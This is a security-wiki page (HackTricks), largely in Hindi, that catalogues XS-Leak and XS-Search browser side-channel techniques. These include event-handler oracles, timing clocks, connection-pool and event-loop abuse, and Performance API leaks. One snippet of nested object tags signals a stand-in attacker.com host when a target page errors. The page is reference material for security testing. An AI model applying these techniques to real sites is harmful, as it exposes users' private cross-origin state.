XS-Search/XS-Leaks

**** का उपयोग करके दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित कार्यप्रवाहों को आसानी से बनाएं और स्वचालित करें। आज ही एक्सेस प्राप्त करें:

HackTricks का समर्थन करें

सदस्यता योजनाएँ देखें!
हमसे जुड़ें 💬 Discord समूह या टेलीग्राम समूह या हमारा अनुसरण करें Twitter 🐦 @hacktricks_live.
हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PR सबमिट करके।

बुनियादी जानकारी

XS-Search एक विधि है जिसका उपयोग क्रॉस-ओरिजिन जानकारी को साइड चैनल कमजोरियों का लाभ उठाकर निकालने के लिए किया जाता है।

इस हमले में शामिल मुख्य घटक हैं:

कमजोर वेब: लक्षित वेबसाइट जिससे जानकारी निकाली जानी है।
हमलावर का वेब: हमलावर द्वारा बनाई गई दुर्भावनापूर्ण वेबसाइट, जिसे पीड़ित विजिट करता है, जो शोषण को होस्ट करती है।
शामिल करने की विधि: कमजोर वेब को हमलावर के वेब में शामिल करने के लिए उपयोग की जाने वाली तकनीक (जैसे, window.open, iframe, fetch, href के साथ HTML टैग, आदि)।
लीक तकनीक: कमजोर वेब की स्थिति में अंतर को पहचानने के लिए उपयोग की जाने वाली तकनीकें जो शामिल करने की विधि के माध्यम से एकत्र की गई जानकारी पर आधारित होती हैं।
राज्य: कमजोर वेब की दो संभावित स्थितियाँ, जिन्हें हमलावर पहचानने का प्रयास करता है।
पता लगाने योग्य अंतर: अवलोकनीय भिन्नताएँ जिन पर हमलावर कमजोर वेब की स्थिति का अनुमान लगाने के लिए निर्भर करता है।

पता लगाने योग्य अंतर

कमजोर वेब की स्थितियों को अलग करने के लिए कई पहलुओं का विश्लेषण किया जा सकता है:

स्थिति कोड: विभिन्न HTTP प्रतिक्रिया स्थिति कोड के बीच अंतर करना, जैसे सर्वर त्रुटियाँ, क्लाइंट त्रुटियाँ, या प्रमाणीकरण त्रुटियाँ।
API उपयोग: पृष्ठों के बीच वेब APIs के उपयोग की पहचान करना, यह प्रकट करना कि क्या एक क्रॉस-ओरिजिन पृष्ठ एक विशिष्ट जावास्क्रिप्ट वेब API का उपयोग करता है।
रीडायरेक्ट्स: विभिन्न पृष्ठों पर नेविगेशन का पता लगाना, न केवल HTTP रीडायरेक्ट्स बल्कि जावास्क्रिप्ट या HTML द्वारा ट्रिगर किए गए भी।
पृष्ठ सामग्री: HTTP प्रतिक्रिया शरीर में भिन्नताओं या पृष्ठ उप-संसाधनों में अवलोकन करना, जैसे संलग्न फ्रेम की संख्या या छवियों में आकार के अंतर।
HTTP हेडर: विशिष्ट HTTP प्रतिक्रिया हेडर की उपस्थिति या संभवतः उसके मान को नोट करना, जिसमें X-Frame-Options, Content-Disposition, और Cross-Origin-Resource-Policy जैसे हेडर शामिल हैं।
समय: दोनों स्थितियों के बीच लगातार समय के अंतर को नोट करना।

शामिल करने की विधियाँ

HTML तत्व: HTML विभिन्न तत्वों की पेशकश करता है क्रॉस-ओरिजिन संसाधन समावेश के लिए, जैसे स्टाइलशीट, छवियाँ, या स्क्रिप्ट, जो ब्राउज़र को एक गैर-HTML संसाधन के लिए अनुरोध करने के लिए मजबूर करते हैं। इस उद्देश्य के लिए संभावित HTML तत्वों का संकलन https://github.com/cure53/HTTPLeaks पर पाया जा सकता है।
फ्रेम: तत्व जैसे iframe, object, और embed HTML संसाधनों को सीधे हमलावर के पृष्ठ में एम्बेड कर सकते हैं। यदि पृष्ठ फ्रेमिंग सुरक्षा की कमी है, तो जावास्क्रिप्ट फ्रेम किए गए संसाधन की विंडो ऑब्जेक्ट को contentWindow प्रॉपर्टी के माध्यम से एक्सेस कर सकता है।
पॉप-अप: window.open विधि एक नए टैब या विंडो में एक संसाधन खोलती है, जावास्क्रिप्ट को विधियों और गुणों के साथ बातचीत करने के लिए एक विंडो हैंडल प्रदान करती है जो SOP का पालन करती है। पॉप-अप, जो अक्सर सिंगल साइन-ऑन में उपयोग किए जाते हैं, लक्षित संसाधन की फ्रेमिंग और कुकी प्रतिबंधों को दरकिनार करते हैं। हालाँकि, आधुनिक ब्राउज़र पॉप-अप निर्माण को कुछ उपयोगकर्ता क्रियाओं तक सीमित करते हैं।
जावास्क्रिप्ट अनुरोध: जावास्क्रिप्ट लक्षित संसाधनों के लिए सीधे अनुरोध करने की अनुमति देती है XMLHttpRequests या Fetch API का उपयोग करके। ये विधियाँ अनुरोध पर सटीक नियंत्रण प्रदान करती हैं, जैसे HTTP रीडायरेक्ट का पालन करने का विकल्प।

लीक तकनीकें

इवेंट हैंडलर: XS-Leaks में एक पारंपरिक लीक तकनीक, जहाँ इवेंट हैंडलर जैसे onload और onerror संसाधन लोडिंग की सफलता या विफलता के बारे में जानकारी प्रदान करते हैं।
त्रुटि संदेश: जावास्क्रिप्ट अपवाद या विशेष त्रुटि पृष्ठ लीक जानकारी प्रदान कर सकते हैं, चाहे सीधे त्रुटि संदेश से या इसकी उपस्थिति और अनुपस्थिति के बीच अंतर करके।
वैश्विक सीमाएँ: एक ब्राउज़र की भौतिक सीमाएँ, जैसे मेमोरी क्षमता या अन्य लागू ब्राउज़र सीमाएँ, जब एक सीमा तक पहुँच जाती हैं तो संकेत दे सकती हैं, जो एक लीक तकनीक के रूप में कार्य करती हैं।
वैश्विक स्थिति: ब्राउज़र की वैश्विक स्थितियों (जैसे, इतिहास इंटरफेस) के साथ पता लगाने योग्य इंटरैक्शन का शोषण किया जा सकता है। उदाहरण के लिए, एक ब्राउज़र के इतिहास में प्रविष्टियों की संख्या क्रॉस-ओरिजिन पृष्ठों के बारे में सुराग प्रदान कर सकती है।
प्रदर्शन API: यह API वर्तमान पृष्ठ के प्रदर्शन विवरण प्रदान करती है, जिसमें दस्तावेज़ और लोड किए गए संसाधनों के लिए नेटवर्क समय शामिल है, जो अनुरोधित संसाधनों के बारे में अनुमान लगाने की अनुमति देती है।
पढ़ने योग्य विशेषताएँ: कुछ HTML विशेषताएँ क्रॉस-ओरिजिन पढ़ने योग्य होती हैं और लीक तकनीक के रूप में उपयोग की जा सकती हैं। उदाहरण के लिए, window.frame.length प्रॉपर्टी जावास्क्रिप्ट को एक वेबपृष्ठ में शामिल फ्रेमों की संख्या गिनने की अनुमति देती है।

XSinator उपकरण और पेपर

XSinator एक स्वचालित उपकरण है जो कई ज्ञात XS-Leaks के खिलाफ ब्राउज़रों की जांच करता है, जिसे इसके पेपर में समझाया गया है: https://xsinator.com/paper.pdf

आप उपकरण तक पहुँच सकते हैं https://xsinator.com/

बहिष्कृत XS-Leaks: हमें उन XS-Leaks को बहिष्कृत करना पड़ा जो सेवा श्रमिकों पर निर्भर करते हैं क्योंकि वे XSinator में अन्य लीक के साथ हस्तक्षेप करेंगे। इसके अलावा, हमने विशिष्ट वेब एप्लिकेशन में गलत कॉन्फ़िगरेशन और बग पर निर्भर XS-Leaks को भी बहिष्कृत करने का निर्णय लिया। उदाहरण के लिए, CrossOrigin Resource Sharing (CORS) गलत कॉन्फ़िगरेशन, postMessage लीक या Cross-Site Scripting। इसके अतिरिक्त, हमने समय आधारित XS-Leaks को भी बहिष्कृत किया क्योंकि वे अक्सर धीमे, शोर वाले और असंगत होते हैं।

Trickest का उपयोग करके दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित कार्यप्रवाहों को आसानी से बनाएं और स्वचालित करें। आज ही एक्सेस प्राप्त करें:

समय आधारित तकनीकें

कुछ निम्नलिखित तकनीकें समय का उपयोग करने जा रही हैं ताकि वेब पृष्ठों की संभावित स्थितियों में भिन्नताओं का पता लगाया जा सके। एक वेब ब्राउज़र में समय मापने के विभिन्न तरीके हैं।

घड़ियाँ: performance.now() API डेवलपर्स को उच्च-रिज़ॉल्यूशन समय माप प्राप्त करने की अनुमति देती है। हमलावरों द्वारा उपयोग किए जाने वाले कई APIs हैं जो निहित घड़ियाँ बनाने के लिए दुरुपयोग किए जा सकते हैं: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS एनिमेशन, और अन्य। अधिक जानकारी के लिए: https://xsleaks.dev/docs/attacks/timing-attacks/clocks।

इवेंट हैंडलर तकनीकें

ऑनलोड/ऑनएरर

शामिल करने की विधियाँ: फ्रेम, HTML तत्व
पता लगाने योग्य अंतर: स्थिति कोड
अधिक जानकारी: https://www.usenix.org/conference/usenixsecurity19/presentation/staicu, https://xsleaks.dev/docs/attacks/error-events/
सारांश: यदि एक संसाधन को लोड करने का प्रयास करते समय onerror/onload इवेंट ट्रिगर होते हैं जब संसाधन सफलतापूर्वक/असफलता से लोड होता है, तो स्थिति कोड का पता लगाना संभव है।
कोड उदाहरण: https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)

कोड उदाहरण JS से स्क्रिप्ट ऑब्जेक्ट लोड करने का प्रयास करता है, लेकिन अन्य टैग जैसे ऑब्जेक्ट, स्टाइलशीट, छवियाँ, ऑडियो भी उपयोग किए जा सकते हैं। इसके अलावा, टैग को सीधे इंजेक्ट करना और टैग के अंदर onload और onerror इवेंट्स को घोषित करना भी संभव है (JS से इंजेक्ट करने के बजाय)।

इस हमले का एक स्क्रिप्ट-रहित संस्करण भी है:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

In this case if example.com/404 is not found attacker.com/?error will be loaded.

Onload Timing

Inclusion Methods: HTML Elements
Detectable Difference: Timing (generally due to Page Content, Status Code)
More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
Summary: The performance.now() API can be used to measure how much time it takes to perform a request. However, other clocks could be used, such as PerformanceLongTaskTiming API which can identify tasks running for more than 50ms.
Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events another example in:

Onload Timing + Forced Heavy Task

यह तकनीक पिछले वाले के समान है, लेकिन attacker कुछ क्रिया को प्रासंगिक समय लेने के लिए भी बल देगा जब उत्तर सकारात्मक या नकारात्मक हो और उस समय को मापेगा।

unload/beforeunload Timing

Inclusion Methods: Frames
Detectable Difference: Timing (generally due to Page Content, Status Code)
More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
Summary: The SharedArrayBuffer clock can be used to measure how much time it takes to perform a request. Other clocks could be used.
Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events

The time taken to fetch a resource can be measured by utilizing the unload and beforeunload events. The beforeunload event is fired when the browser is about to navigate to a new page, while the unload event occurs when the navigation is actually taking place. The time difference between these two events can be calculated to determine the duration the browser spent fetching the resource.

Sandboxed Frame Timing + onload

Inclusion Methods: Frames
Detectable Difference: Timing (generally due to Page Content, Status Code)
More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
Summary: The performance.now() API can be used to measure how much time it takes to perform a request. Other clocks could be used.
Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks

यह देखा गया है कि Framing Protections की अनुपस्थिति में, एक पृष्ठ और इसके उप-संसाधनों को नेटवर्क पर लोड करने के लिए आवश्यक समय को एक attacker द्वारा मापा जा सकता है। यह माप आमतौर पर संभव है क्योंकि एक iframe का onload हैंडलर केवल संसाधन लोडिंग और JavaScript निष्पादन की समाप्ति के बाद ही सक्रिय होता है। स्क्रिप्ट निष्पादन द्वारा उत्पन्न परिवर्तनशीलता को बायपास करने के लिए, एक attacker <iframe> के भीतर sandbox विशेषता का उपयोग कर सकता है। इस विशेषता का समावेश कई कार्यक्षमताओं को प्रतिबंधित करता है, विशेष रूप से JavaScript के निष्पादन को, जिससे एक माप को सुविधाजनक बनाया जा सकता है जो मुख्य रूप से नेटवर्क प्रदर्शन से प्रभावित होता है।

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

Inclusion Methods: Frames
Detectable Difference: Page Content
More info:
Summary: यदि आप सही सामग्री को एक्सेस करते समय पृष्ठ में त्रुटि उत्पन्न कर सकते हैं और किसी भी सामग्री को एक्सेस करते समय इसे सही तरीके से लोड कर सकते हैं, तो आप सभी जानकारी निकालने के लिए एक लूप बना सकते हैं बिना समय मापे।
Code Example:

मान लीजिए कि आप Iframe के अंदर गुप्त सामग्री वाला पृष्ठ डाल सकते हैं।

आप शिकार को खोजने के लिए मजबूर कर सकते हैं उस फ़ाइल के लिए जिसमें "flag" है, एक Iframe का उपयोग करके (उदाहरण के लिए CSRF का शोषण करते हुए)। Iframe के अंदर आप जानते हैं कि onload event हमेशा कम से कम एक बार निष्पादित होगा। फिर, आप URL को iframe का बदल सकते हैं लेकिन केवल hash के सामग्री को बदलकर।

उदाहरण के लिए:

URL1: www.attacker.com/xssearch#try1
URL2: www.attacker.com/xssearch#try2

यदि पहला URL सफलतापूर्वक लोड हुआ, तो, जब आप URL के hash भाग को बदलते हैं, तो onload घटना फिर से सक्रिय नहीं होगी। लेकिन यदि पृष्ठ लोड करते समय किसी प्रकार की त्रुटि थी, तो onload घटना फिर से सक्रिय होगी।

तब, आप सही लोड किए गए पृष्ठ या पृष्ठ के बीच अंतर कर सकते हैं जिसमें त्रुटि है जब इसे एक्सेस किया जाता है।

Javascript Execution

Inclusion Methods: Frames
Detectable Difference: Page Content
More info:
Summary: यदि पृष्ठ संवेदनशील सामग्री वापस कर रहा है, या एक सामग्री जो उपयोगकर्ता द्वारा नियंत्रित की जा सकती है। उपयोगकर्ता नकारात्मक मामले में मान्य JS कोड सेट कर सकता है, और <script> टैग के अंदर प्रत्येक प्रयास को लोड कर सकता है, इसलिए नकारात्मक मामलों में हमलावरों का कोड निष्पादित होता है, और सकारात्मक मामलों में कुछ भी निष्पादित नहीं होगा।
Code Example:

CORB - Onerror

Inclusion Methods: HTML Elements
Detectable Difference: Status Code & Headers
More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
Summary: Cross-Origin Read Blocking (CORB) एक सुरक्षा उपाय है जो वेब पृष्ठों को कुछ संवेदनशील क्रॉस-ओरिजिन संसाधनों को लोड करने से रोकता है ताकि Spectre जैसे हमलों से सुरक्षा की जा सके। हालाँकि, हमलावर इसके सुरक्षात्मक व्यवहार का शोषण कर सकते हैं। जब CORB के अधीन एक प्रतिक्रिया CORB संरक्षित Content-Type के साथ nosniff और 2xx स्थिति कोड लौटाती है, तो CORB प्रतिक्रिया के शरीर और हेडर को हटा देता है। इस पर नज़र रखने वाले हमलावर स्थिति कोड (सफलता या त्रुटि को इंगित करने वाला) और Content-Type (यह दर्शाता है कि यह CORB द्वारा संरक्षित है) के संयोजन का अनुमान लगा सकते हैं, जिससे संभावित जानकारी का लीक हो सकता है।
Code Example:

हमले के बारे में अधिक जानकारी के लिए अधिक जानकारी लिंक की जांच करें।

onblur

Inclusion Methods: Frames
Detectable Difference: Page Content
More info: https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/
Summary: id या name attribute से संवेदनशील डेटा लीक करें।
Code Example: https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet

यह संभव है कि आप iframe के अंदर एक पृष्ठ लोड करें और #id_value का उपयोग करके पृष्ठ को iframe के तत्व पर ध्यान केंद्रित करें। यदि एक onblur संकेत सक्रिय होता है, तो ID तत्व मौजूद है। आप portal टैग के साथ भी वही हमला कर सकते हैं।

postMessage Broadcasts

Inclusion Methods: Frames, Pop-ups
Detectable Difference: API Usage
More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
Summary: एक postMessage से संवेदनशील जानकारी इकट्ठा करें या उपयोगकर्ता की स्थिति जानने के लिए postMessages की उपस्थिति का उपयोग करें।
Code Example: Any code listening for all postMessages.

ऐप्लिकेशन अक्सर postMessage broadcasts का उपयोग विभिन्न मूलों के बीच संचार करने के लिए करते हैं। हालाँकि, यदि targetOrigin पैरामीटर को ठीक से निर्दिष्ट नहीं किया गया है, तो यह विधि अनजाने में संवेदनशील जानकारी को उजागर कर सकती है, जिससे किसी भी विंडो को संदेश प्राप्त करने की अनुमति मिलती है। इसके अलावा, संदेश प्राप्त करने की क्रिया एक oracle के रूप में कार्य कर सकती है; उदाहरण के लिए, कुछ संदेश केवल उन उपयोगकर्ताओं को भेजे जा सकते हैं जो लॉग इन हैं। इसलिए, इन संदेशों की उपस्थिति या अनुपस्थिति उपयोगकर्ता की स्थिति या पहचान के बारे में जानकारी प्रकट कर सकती है, जैसे कि क्या वे प्रमाणित हैं या नहीं।

Trickest का उपयोग करें ताकि आप आसानी से दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित कार्यप्रवाह बना और स्वचालित कर सकें। आज ही एक्सेस प्राप्त करें:

Global Limits Techniques

WebSocket API

Inclusion Methods: Frames, Pop-ups
Detectable Difference: API Usage
More info: https://xsinator.com/paper.pdf (5.1)
Summary: WebSocket कनेक्शन सीमा को समाप्त करना क्रॉस-ओरिजिन पृष्ठ के WebSocket कनेक्शनों की संख्या को लीक करता है।
Code Example: https://xsinator.com/testing.html#WebSocket%20Leak%20(FF), https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)

यह पहचानना संभव है कि एक लक्षित पृष्ठ कितने WebSocket कनेक्शन का उपयोग करता है। यह हमलावर को एप्लिकेशन की स्थितियों का पता लगाने और WebSocket कनेक्शनों की संख्या से संबंधित जानकारी लीक करने की अनुमति देता है।

यदि एक origin WebSocket कनेक्शन वस्तुओं की अधिकतम मात्रा का उपयोग करता है, तो उनके कनेक्शन की स्थिति की परवाह किए बिना, नई वस्तुओं का निर्माण JavaScript अपवादों का परिणाम देगा। इस हमले को निष्पादित करने के लिए, हमलावर की वेबसाइट लक्षित वेबसाइट को एक पॉप-अप या iframe में खोलती है और फिर, लक्षित वेब के लोड होने के बाद, संभवतः अधिकतम संख्या में WebSockets कनेक्शन बनाने का प्रयास करती है। उत्पन्न अपवादों की संख्या लक्षित वेबसाइट की WebSocket कनेक्शनों की संख्या है।

Payment API

Inclusion Methods: Frames, Pop-ups
Detectable Difference: API Usage
More info: https://xsinator.com/paper.pdf (5.1)
Summary: केवल एक भुगतान अनुरोध एक समय में सक्रिय हो सकता है।
Code Example: https://xsinator.com/testing.html#Payment%20API%20Leak

यह XS-Leak एक हमलावर को यह पहचानने में सक्षम बनाता है कि कब एक क्रॉस-ओरिजिन पृष्ठ भुगतान अनुरोध शुरू करता है।

क्योंकि केवल एक भुगतान अनुरोध एक समय में सक्रिय हो सकता है, यदि लक्षित वेबसाइट Payment Request API का उपयोग कर रही है, तो इस API का उपयोग करने के लिए कोई भी आगे के प्रयास विफल होंगे, और एक JavaScript अपवाद का कारण बनेंगे। हमलावर इसे नियमित रूप से Payment API UI दिखाने का प्रयास करके शोषण कर सकता है। यदि एक प्रयास अपवाद का कारण बनता है, तो लक्षित वेबसाइट वर्तमान में इसका उपयोग कर रही है। हमलावर UI बनाने के तुरंत बाद इसे बंद करके इन नियमित प्रयासों को छिपा सकता है।

Timing the Event Loop

Inclusion Methods:
Detectable Difference: Timing (generally due to Page Content, Status Code)
More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
Summary: एक वेब के निष्पादन समय को मापें जो एकल-थ्रेडेड JS इवेंट लूप का दुरुपयोग करता है।
Code Example:

JavaScript एक एकल-थ्रेडेड इवेंट लूप समवर्ती मॉडल पर काम करता है, जिसका अर्थ है कि यह एक समय में केवल एक कार्य निष्पादित कर सकता है। इस विशेषता का उपयोग यह मापने के लिए किया जा सकता है कि एक अलग मूल से कोड को निष्पादित करने में कितना समय लगता है। एक हमलावर अपने कोड के निष्पादन समय को इवेंट लूप में माप सकता है, लगातार निश्चित गुणों के साथ इवेंट भेजकर। ये इवेंट तब संसाधित किए जाएंगे जब इवेंट पूल खाली होगा। यदि अन्य मूल भी उसी पूल में इवेंट भेज रहे हैं, तो एक हमलावर इन बाहरी इवेंट्स के निष्पादन में देरी को देखकर यह अनुमान लगा सकता है कि इन बाहरी इवेंट्स को निष्पादित करने में कितना समय लगता है। देरी के लिए इवेंट लूप की निगरानी करने की यह विधि विभिन्न मूलों से कोड के निष्पादन समय को प्रकट कर सकती है, संभावित रूप से संवेदनशील जानकारी को उजागर कर सकती है।

एक निष्पादन समय में नेटवर्क कारकों को हटाना संभव है ताकि अधिक सटीक माप प्राप्त किया जा सके। उदाहरण के लिए, पृष्ठ द्वारा उपयोग किए जाने वाले संसाधनों को लोड करने से पहले लोड करना।

Busy Event Loop

Inclusion Methods:
Detectable Difference: Timing (generally due to Page Content, Status Code)
More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
Summary: एक वेब ऑपरेशन के निष्पादन समय को मापने की एक विधि में जानबूझकर एक थ्रेड के इवेंट लूप को अवरुद्ध करना और फिर इवेंट लूप को फिर से उपलब्ध होने में कितना समय लगता है को मापना शामिल है। एक अवरुद्ध ऑपरेशन (जैसे लंबी गणना या समकालिक API कॉल) को इवेंट लूप में डालकर, और बाद के कोड के निष्पादन की शुरुआत के लिए समय की निगरानी करके, कोई यह अनुमान लगा सकता है कि अवरुद्ध अवधि के दौरान इवेंट लूप में कौन से कार्य निष्पादित हो रहे थे। यह तकनीक JavaScript के इवेंट लूप की एकल-थ्रेडेड प्रकृति का लाभ उठाती है, जहां कार्य अनुक्रम में निष्पादित होते हैं, और यह समान थ्रेड साझा करने वाले अन्य ऑपरेशनों के प्रदर्शन या व्यवहार के बारे में अंतर्दृष्टि प्रदान कर सकती है।
Code Example:

इवेंट लूप को लॉक करके निष्पादन समय को मापने की तकनीक का एक महत्वपूर्ण लाभ Site Isolation को दरकिनार करने की क्षमता है। Site Isolation एक सुरक्षा विशेषता है जो विभिन्न वेबसाइटों को अलग प्रक्रियाओं में विभाजित करती है, जिसका उद्देश्य दुर्भावनापूर्ण साइटों को अन्य साइटों से संवेदनशील डेटा तक सीधे पहुंचने से रोकना है। हालाँकि, साझा इवेंट लूप के माध्यम से दूसरे मूल के निष्पादन समय को प्रभावित करके, एक हमलावर उस मूल की गतिविधियों के बारे में अप्रत्यक्ष रूप से जानकारी निकाल सकता है। यह विधि दूसरे मूल के डेटा तक सीधे पहुंच पर निर्भर नहीं करती है, बल्कि साझा इवेंट लूप पर उस मूल की गतिविधियों के प्रभाव को देखती है, इस प्रकार Site Isolation द्वारा स्थापित सुरक्षात्मक बाधाओं से बचती है।

Connection Pool

Inclusion Methods: JavaScript Requests
Detectable Difference: Timing (generally due to Page Content, Status Code)
More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
Summary: एक हमलावर सभी सॉकेट्स को 1 को छोड़कर लॉक कर सकता है, लक्षित वेब को लोड कर सकता है और एक ही समय में एक और पृष्ठ लोड कर सकता है, अंतिम पृष्ठ के लोड होने तक का समय लक्षित पृष्ठ के लोड होने का समय है।
Code Example:

ब्राउज़र सर्वर संचार के लिए सॉकेट का उपयोग करते हैं, लेकिन ऑपरेटिंग सिस्टम और हार्डवेयर के सीमित संसाधनों के कारण, ब्राउज़र को समवर्ती सॉकेट्स की संख्या पर एक सीमा लागू करने के लिए मजबूर किया जाता है। हमलावर इस सीमा का शोषण निम्नलिखित चरणों के माध्यम से कर सकते हैं:

ब्राउज़र की सॉकेट सीमा का निर्धारण करें, उदाहरण के लिए, 256 वैश्विक सॉकेट।
255 सॉकेट्स को लंबे समय तक बनाए रखने के लिए विभिन्न होस्टों के लिए 255 अनुरोध शुरू करें, जो कनेक्शन को खुले रखने के लिए डिज़ाइन किए गए हैं बिना पूरा किए।
लक्षित पृष्ठ के लिए अनुरोध भेजने के लिए 256 वें सॉकेट का उपयोग करें।
एक अलग होस्ट के लिए 257 वां अनुरोध करने का प्रयास करें। चूंकि सभी सॉकेट उपयोग में हैं (जैसा कि चरण 2 और 3 में है), यह अनुरोध तब तक कतारबद्ध होगा जब तक कोई सॉकेट उपलब्ध नहीं हो जाता। इस अनुरोध के आगे बढ़ने से पहले की देरी हमलावर को 256 वें सॉकेट (लक्षित पृष्ठ का सॉकेट) से संबंधित नेटवर्क गतिविधि के बारे में समय की जानकारी प्रदान करती है। यह अनुमान संभव है क्योंकि चरण 2 से 255 सॉकेट अभी भी व्यस्त हैं, यह संकेत करते हुए कि कोई भी नया उपलब्ध सॉकेट वह होना चाहिए जो चरण 3 से मुक्त हुआ हो। इसलिए 256 वें सॉकेट के उपलब्ध होने में लगने वाला समय सीधे लक्षित पृष्ठ के अनुरोध को पूरा करने के लिए आवश्यक समय से संबंधित है।

अधिक जानकारी के लिए: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

Inclusion Methods: JavaScript Requests
Detectable Difference: Timing (generally due to Page Content, Status Code)
More info:
Summary: यह पिछले तकनीक के समान है लेकिन सभी सॉकेट्स का उपयोग करने के बजाय, Google Chrome एक ही मूल के लिए 6 समवर्ती अनुरोधों की सीमा लगाता है। यदि हम 5 को ब्लॉक करते हैं और फिर 6 वां अनुरोध लॉन्च करते हैं, तो हम इसे समय कर सकते हैं और यदि हम शिकार पृष्ठ को उसी एंडपॉइंट पर अधिक अनुरोध भेजने में सफल होते हैं, तो 6 वां अनुरोध लंबा होगा और हम इसे पहचान सकते हैं।

Performance API Techniques

Performance API वेब अनुप्रयोगों के प्रदर्शन मेट्रिक्स के बारे में जानकारी प्रदान करता है, जिसे Resource Timing API द्वारा और समृद्ध किया गया है। Resource Timing API नेटवर्क अनुरोध समय की विस्तृत निगरानी की अनुमति देती है, जैसे अनुरोधों की अवधि। विशेष रूप से, जब सर्वर अपने उत्तरों में Timing-Allow-Origin: * हेडर शामिल करते हैं, तो अतिरिक्त डेटा जैसे ट्रांसफर आकार और डोमेन लुकअप समय उपलब्ध हो जाता है।

इस डेटा की प्रचुरता को performance.getEntries या performance.getEntriesByName जैसी विधियों के माध्यम से प्राप्त किया जा सकता है, जो प्रदर्शन से संबंधित जानकारी का एक व्यापक दृश्य प्रदान करता है। इसके अतिरिक्त, API निष्पादन समय को मापने की सुविधा प्रदान करता है, जो performance.now() से प्राप्त टाइमस्टैम्प के बीच के अंतर की गणना करके किया जाता है। हालाँकि, यह ध्यान देने योग्य है कि Chrome जैसे ब्राउज़रों में कुछ ऑपरेशनों के लिए, performance.now() की सटीकता मिलीसेकंड तक सीमित हो सकती है, जो समय माप की बारीकी को प्रभावित कर सकती है।

समय माप के अलावा, प्रदर्शन API को सुरक्षा से संबंधित अंतर्दृष्टि के लिए भी उपयोग किया जा सकता है। उदाहरण के लिए, Chrome में performance ऑब्जेक्ट में पृष्ठों की उपस्थिति या अनुपस्थिति X-Frame-Options के लागू होने का संकेत दे सकती है। विशेष रूप से, यदि किसी पृष्ठ को X-Frame-Options के कारण एक फ्रेम में रेंडर करने से रोका जाता है, तो इसे performance ऑब्जेक्ट में रिकॉर्ड नहीं किया जाएगा, जो पृष्ठ की फ्रेमिंग नीतियों के बारे में एक सूक्ष्म संकेत प्रदान करता है।

Error Leak

Inclusion Methods: Frames, HTML Elements
Detectable Difference: Status Code
More info: https://xsinator.com/paper.pdf (5.2)
Summary: एक अनुरोध जो त्रुटियों का परिणाम देता है, संसाधन समय प्रविष्टि नहीं बनाएगा।
Code Example: https://xsinator.com/testing.html#Performance%20API%20Error%20Leak

यह HTTP प्रतिक्रिया स्थिति कोड के बीच अंतर करना संभव है क्योंकि जो अनुरोध त्रुटि का परिणाम देते हैं वे प्रदर्शन प्रविष्टि नहीं बनाते हैं।

Style Reload Error

Inclusion Methods: HTML Elements
Detectable Difference: Status Code
More info: https://xsinator.com/paper.pdf (5.2)
Summary: एक ब्राउज़र बग के कारण, त्रुटियों का परिणाम देने वाले अनुरोध दो बार लोड होते हैं।
Code Example: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak

पिछली तकनीक में यह भी पहचाना गया कि दो मामलों में ब्राउज़र बग GC के कारण संसाधनों को दो बार लोड किया जाता है जब वे लोड करने में विफल होते हैं। इसका परिणाम प्रदर्शन API में कई प्रविष्टियों में होता है और इस प्रकार इसे पहचाना जा सकता है।

Request Merging Error

Inclusion Methods: HTML Elements
Detectable Difference: Status Code
More info: https://xsinator.com/paper.pdf (5.2)
Summary: त्रुटि का परिणाम देने वाले अनुरोधों को मर्ज नहीं किया जा सकता है।
Code Example: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

यह तकनीक उल्लेखित पेपर में एक तालिका में पाई गई, लेकिन इसके बारे में कोई विवरण नहीं मिला। हालाँकि, आप इसे https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak में स्रोत कोड की जांच करके पा सकते हैं।

Empty Page Leak

Inclusion Methods: Frames
Detectable Difference: Page Content
More info: https://xsinator.com/paper.pdf (5.2)
Summary: खाली प्रतिक्रियाएँ संसाधन समय प्रविष्टियाँ नहीं बनाती हैं।
Code Example: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak

एक हमलावर यह पहचान सकता है कि क्या एक अनुरोध का परिणाम एक खाली HTTP प्रतिक्रिया शरीर में हुआ क्योंकि कुछ ब्राउज़रों में खाली पृष्ठ प्रदर्शन प्रविष्टि नहीं बनाते हैं।

XSS-Auditor Leak

Inclusion Methods: Frames
Detectable Difference: Page Content
More info: https://xsinator.com/paper.pdf (5.2)
Summary: सुरक्षा आश्वासन में XSS ऑडिटर का उपयोग करते हुए, हमलावर प्रतिक्रिया में परिवर्तनों का अवलोकन करके विशिष्ट वेबपृष्ठ तत्वों का पता लगा सकते हैं जब तैयार किए गए पेलोड ऑडिटर के फ़िल्टरिंग तंत्र को सक्रिय करते हैं।
Code Example: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak

